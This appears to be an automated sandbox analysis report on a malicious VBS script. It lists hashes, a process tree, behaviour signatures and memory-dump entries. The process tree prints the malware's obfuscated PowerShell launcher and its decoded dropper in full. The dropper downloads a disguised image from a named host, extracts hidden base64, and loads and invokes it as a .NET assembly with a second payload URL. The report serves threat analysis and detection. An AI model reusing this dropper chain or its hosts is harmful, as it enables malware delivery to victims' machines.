188f6b571bde52fc0bce4ff0e1eeb2998787c655c7d5a026fc91130de3c02857

Analysis

max time kernel
150s
max time network
121s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
03/10/2023, 14:00

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

188f6b571bde52fc0bce4ff0e1eeb2998787c655c7d5a026fc91130de3c02857_JC.vbs
Size

405KB
MD5

1402e4408f123da1e9bc3bde078764fc
SHA1

1a66e63c52849c456bea06df30b92a30e468f062
SHA256

188f6b571bde52fc0bce4ff0e1eeb2998787c655c7d5a026fc91130de3c02857
SHA512

96be453ca45e13f8a89b4d08530b9e94c36c1bc1d457dfc6b649940a0f594a8c1c4340c3e571767306f27f8e0d0d64f77c281103d9c13f21f4f4a92525e2dcdf
SSDEEP

3072:yZ10NPoKwrcnuC+1B1pehadnTPMFgIkkkkkskkkkkBkkkkkvkkkkk4kkkkkfkkkc:Q6PoxraubDS+AFe

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937

exe.dropper

https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	2008	powershell.exe
7	2008	powershell.exe
9	2008	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2388	powershell.exe
2008	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2388	powershell.exe
Token: SeDebugPrivilege	2008	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2256 wrote to memory of 2388	2256	WScript.exe	28
PID 2256 wrote to memory of 2388	2256	WScript.exe	28
PID 2256 wrote to memory of 2388	2256	WScript.exe	28
PID 2388 wrote to memory of 2008	2388	powershell.exe	30
PID 2388 wrote to memory of 2008	2388	powershell.exe	30
PID 2388 wrote to memory of 2008	2388	powershell.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\188f6b571bde52fc0bce4ff0e1eeb2998787c655c7d5a026fc91130de3c02857_JC.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶I◀▶◀▶9◀▶C◀▶◀▶JwBo◀▶HQ◀▶d◀▶Bw◀▶HM◀▶Og◀▶v◀▶C8◀▶dQBw◀▶Gw◀▶bwBh◀▶GQ◀▶Z◀▶Bl◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBu◀▶HM◀▶LgBj◀▶G8◀▶bQ◀▶u◀▶GI◀▶cg◀▶v◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBz◀▶C8◀▶M◀▶◀▶w◀▶DQ◀▶Lw◀▶2◀▶DE◀▶Ng◀▶v◀▶DY◀▶M◀▶◀▶5◀▶C8◀▶bwBy◀▶Gk◀▶ZwBp◀▶G4◀▶YQBs◀▶C8◀▶cgB1◀▶G0◀▶c◀▶Bf◀▶HY◀▶YgBz◀▶C4◀▶agBw◀▶Gc◀▶Pw◀▶x◀▶DY◀▶OQ◀▶1◀▶DQ◀▶M◀▶◀▶4◀▶Dk◀▶Mw◀▶3◀▶Cc◀▶Ow◀▶k◀▶Hc◀▶ZQBi◀▶EM◀▶b◀▶Bp◀▶GU◀▶bgB0◀▶C◀▶◀▶PQ◀▶g◀▶E4◀▶ZQB3◀▶C0◀▶TwBi◀▶Go◀▶ZQBj◀▶HQ◀▶I◀▶BT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶E4◀▶ZQB0◀▶C4◀▶VwBl◀▶GI◀▶QwBs◀▶Gk◀▶ZQBu◀▶HQ◀▶Ow◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶B3◀▶GU◀▶YgBD◀▶Gw◀▶aQBl◀▶G4◀▶d◀▶◀▶u◀▶EQ◀▶bwB3◀▶G4◀▶b◀▶Bv◀▶GE◀▶Z◀▶BE◀▶GE◀▶d◀▶Bh◀▶Cg◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶KQ◀▶7◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBF◀▶G4◀▶YwBv◀▶GQ◀▶aQBu◀▶Gc◀▶XQ◀▶6◀▶Do◀▶VQBU◀▶EY◀▶O◀▶◀▶u◀▶Ec◀▶ZQB0◀▶FM◀▶d◀▶By◀▶Gk◀▶bgBn◀▶Cg◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶QgB5◀▶HQ◀▶ZQBz◀▶Ck◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶C◀▶◀▶PQ◀▶g◀▶Cc◀▶P◀▶◀▶8◀▶EI◀▶QQBT◀▶EU◀▶Ng◀▶0◀▶F8◀▶UwBU◀▶EE◀▶UgBU◀▶D4◀▶Pg◀▶n◀▶Ds◀▶J◀▶Bl◀▶G4◀▶Z◀▶BG◀▶Gw◀▶YQBn◀▶C◀▶◀▶PQ◀▶g◀▶Cc◀▶P◀▶◀▶8◀▶EI◀▶QQBT◀▶EU◀▶Ng◀▶0◀▶F8◀▶RQBO◀▶EQ◀▶Pg◀▶+◀▶Cc◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶u◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶BP◀▶GY◀▶K◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶Ck◀▶Ow◀▶k◀▶GU◀▶bgBk◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶SQBu◀▶GQ◀▶ZQB4◀▶E8◀▶Zg◀▶o◀▶CQ◀▶ZQBu◀▶GQ◀▶RgBs◀▶GE◀▶Zw◀▶p◀▶Ds◀▶J◀▶Bz◀▶HQ◀▶YQBy◀▶HQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQBn◀▶GU◀▶I◀▶◀▶w◀▶C◀▶◀▶LQBh◀▶G4◀▶Z◀▶◀▶g◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQBn◀▶HQ◀▶I◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶r◀▶D0◀▶I◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶C4◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶Ow◀▶k◀▶GI◀▶YQBz◀▶GU◀▶Ng◀▶0◀▶Ew◀▶ZQBu◀▶Gc◀▶d◀▶Bo◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQ◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶7◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶QwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶UwB1◀▶GI◀▶cwB0◀▶HI◀▶aQBu◀▶Gc◀▶K◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶L◀▶◀▶g◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶KQ◀▶7◀▶CQ◀▶YwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶BC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶EM◀▶bwBu◀▶HY◀▶ZQBy◀▶HQ◀▶XQ◀▶6◀▶Do◀▶RgBy◀▶G8◀▶bQBC◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BT◀▶HQ◀▶cgBp◀▶G4◀▶Zw◀▶o◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶QwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶◀▶p◀▶Ds◀▶J◀▶Bs◀▶G8◀▶YQBk◀▶GU◀▶Z◀▶BB◀▶HM◀▶cwBl◀▶G0◀▶YgBs◀▶Hk◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶FI◀▶ZQBm◀▶Gw◀▶ZQBj◀▶HQ◀▶aQBv◀▶G4◀▶LgBB◀▶HM◀▶cwBl◀▶G0◀▶YgBs◀▶Hk◀▶XQ◀▶6◀▶Do◀▶T◀▶Bv◀▶GE◀▶Z◀▶◀▶o◀▶CQ◀▶YwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶BC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶KQ◀▶7◀▶CQ◀▶d◀▶B5◀▶H◀▶◀▶ZQ◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gw◀▶bwBh◀▶GQ◀▶ZQBk◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQ◀▶u◀▶Ec◀▶ZQB0◀▶FQ◀▶eQBw◀▶GU◀▶K◀▶◀▶n◀▶EY◀▶aQBi◀▶GU◀▶cg◀▶u◀▶Eg◀▶bwBt◀▶GU◀▶Jw◀▶p◀▶Ds◀▶J◀▶Bt◀▶GU◀▶d◀▶Bo◀▶G8◀▶Z◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶HQ◀▶eQBw◀▶GU◀▶LgBH◀▶GU◀▶d◀▶BN◀▶GU◀▶d◀▶Bo◀▶G8◀▶Z◀▶◀▶o◀▶Cc◀▶VgBB◀▶Ek◀▶Jw◀▶p◀▶C4◀▶SQBu◀▶HY◀▶bwBr◀▶GU◀▶K◀▶◀▶k◀▶G4◀▶dQBs◀▶Gw◀▶L◀▶◀▶g◀▶Fs◀▶bwBi◀▶Go◀▶ZQBj◀▶HQ◀▶WwBd◀▶F0◀▶I◀▶◀▶o◀▶Cc◀▶d◀▶B4◀▶HQ◀▶LgB4◀▶Gk◀▶bg◀▶v◀▶DI◀▶NQ◀▶u◀▶Dg◀▶N◀▶◀▶u◀▶D◀▶◀▶MQ◀▶x◀▶C4◀▶OQ◀▶3◀▶C8◀▶Lw◀▶6◀▶H◀▶◀▶d◀▶B0◀▶Gg◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶GQ◀▶ZgBk◀▶GY◀▶Z◀▶◀▶n◀▶C◀▶◀▶L◀▶◀▶g◀▶Cc◀▶Z◀▶Bm◀▶GQ◀▶Zg◀▶n◀▶C◀▶◀▶L◀▶◀▶g◀▶Cc◀▶Z◀▶Bm◀▶GQ◀▶Zg◀▶n◀▶C◀▶◀▶L◀▶◀▶g◀▶Cc◀▶Z◀▶Bh◀▶GQ◀▶cwBh◀▶Cc◀▶I◀▶◀▶s◀▶C◀▶◀▶JwBk◀▶GU◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶GM◀▶dQ◀▶n◀▶Ck◀▶KQ◀▶='";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('◀▶','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2388
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.xin/25.84.011.97//:ptth' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
8a8d62f40a2b21f9b53daa6c6b9f91c1

SHA1
49b7dd746318b5b4946475576f084d3769f1bf78

SHA256
f25234711e2c2e5f634675a3cd9dad2dd3a05d163cee0cf16f830b6b5c26734a

SHA512
bc5e998094ada1a7c8044ab343abd16e2fae597da8f23b678cb32f75cf72da3020a10da614913797814524bf97959f84aae3dc49c5953ad7c87aab02d3ce5e8d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab604B.tmp

Filesize
61KB

MD5
f3441b8572aae8801c04f3060b550443

SHA1
4ef0a35436125d6821831ef36c28ffaf196cda15

SHA256
6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

SHA512
5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar6119.tmp

Filesize
163KB

MD5
9441737383d21192400eca82fda910ec

SHA1
725e0d606a4fc9ba44aa8ffde65bed15e65367e4

SHA256
bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

SHA512
7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
962c7bff68f8b5f34823c0c83329ae20

SHA1
ec6ffd6419d0614f84dd8f9d1fd295fbf4fc0556

SHA256
67de7b187a89a1e3fb7c003d3b250b0692f912f7d718a09906d72ca68ca4e9a9

SHA512
f5caca24fd01c5da9017d034068682e7593eee33b69a15f417b412e8dfd364f98ad3b7047bc94cc22d1698340e202634f98a866aa6b8e71a6103705bfa1736e8

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\S8BHDT99560QCK143FK1.temp

Filesize
7KB

MD5
962c7bff68f8b5f34823c0c83329ae20

SHA1
ec6ffd6419d0614f84dd8f9d1fd295fbf4fc0556

SHA256
67de7b187a89a1e3fb7c003d3b250b0692f912f7d718a09906d72ca68ca4e9a9

SHA512
f5caca24fd01c5da9017d034068682e7593eee33b69a15f417b412e8dfd364f98ad3b7047bc94cc22d1698340e202634f98a866aa6b8e71a6103705bfa1736e8

Download Submit
memory/2008-101-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-128-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-156-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-154-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-16-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/2008-17-0x0000000002B40000-0x0000000002BC0000-memory.dmp

Filesize
512KB

Download
memory/2008-18-0x0000000002B40000-0x0000000002BC0000-memory.dmp

Filesize
512KB

Download
memory/2008-19-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/2008-20-0x0000000002B40000-0x0000000002BC0000-memory.dmp

Filesize
512KB

Download
memory/2008-21-0x0000000002B40000-0x0000000002BC0000-memory.dmp

Filesize
512KB

Download
memory/2008-152-0x0000000002B40000-0x0000000002BC0000-memory.dmp

Filesize
512KB

Download
memory/2008-151-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-149-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-147-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-84-0x000000001CE30000-0x000000001D152000-memory.dmp

Filesize
3.1MB

Download
memory/2008-145-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-107-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-141-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-88-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-89-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-91-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-93-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-95-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-97-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-99-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-139-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-105-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-136-0x0000000002B40000-0x0000000002BC0000-memory.dmp

Filesize
512KB

Download
memory/2008-143-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-109-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/2008-110-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-112-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-114-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-117-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-118-0x0000000002B40000-0x0000000002BC0000-memory.dmp

Filesize
512KB

Download
memory/2008-120-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-116-0x0000000002B40000-0x0000000002BC0000-memory.dmp

Filesize
512KB

Download
memory/2008-122-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-124-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-126-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-103-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-130-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-132-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-134-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2008-137-0x000000001CE30000-0x000000001D14C000-memory.dmp

Filesize
3.1MB

Download
memory/2388-10-0x0000000002A80000-0x0000000002B00000-memory.dmp

Filesize
512KB

Download
memory/2388-4-0x000000001B1D0000-0x000000001B4B2000-memory.dmp

Filesize
2.9MB

Download
memory/2388-86-0x0000000002A80000-0x0000000002B00000-memory.dmp

Filesize
512KB

Download
memory/2388-87-0x0000000002A80000-0x0000000002B00000-memory.dmp

Filesize
512KB

Download
memory/2388-85-0x0000000002A80000-0x0000000002B00000-memory.dmp

Filesize
512KB

Download
memory/2388-83-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/2388-5-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/2388-6-0x00000000022E0000-0x00000000022E8000-memory.dmp

Filesize
32KB

Download
memory/2388-7-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/2388-8-0x0000000002A80000-0x0000000002B00000-memory.dmp

Filesize
512KB

Download
memory/2388-9-0x0000000002A80000-0x0000000002B00000-memory.dmp

Filesize
512KB

Download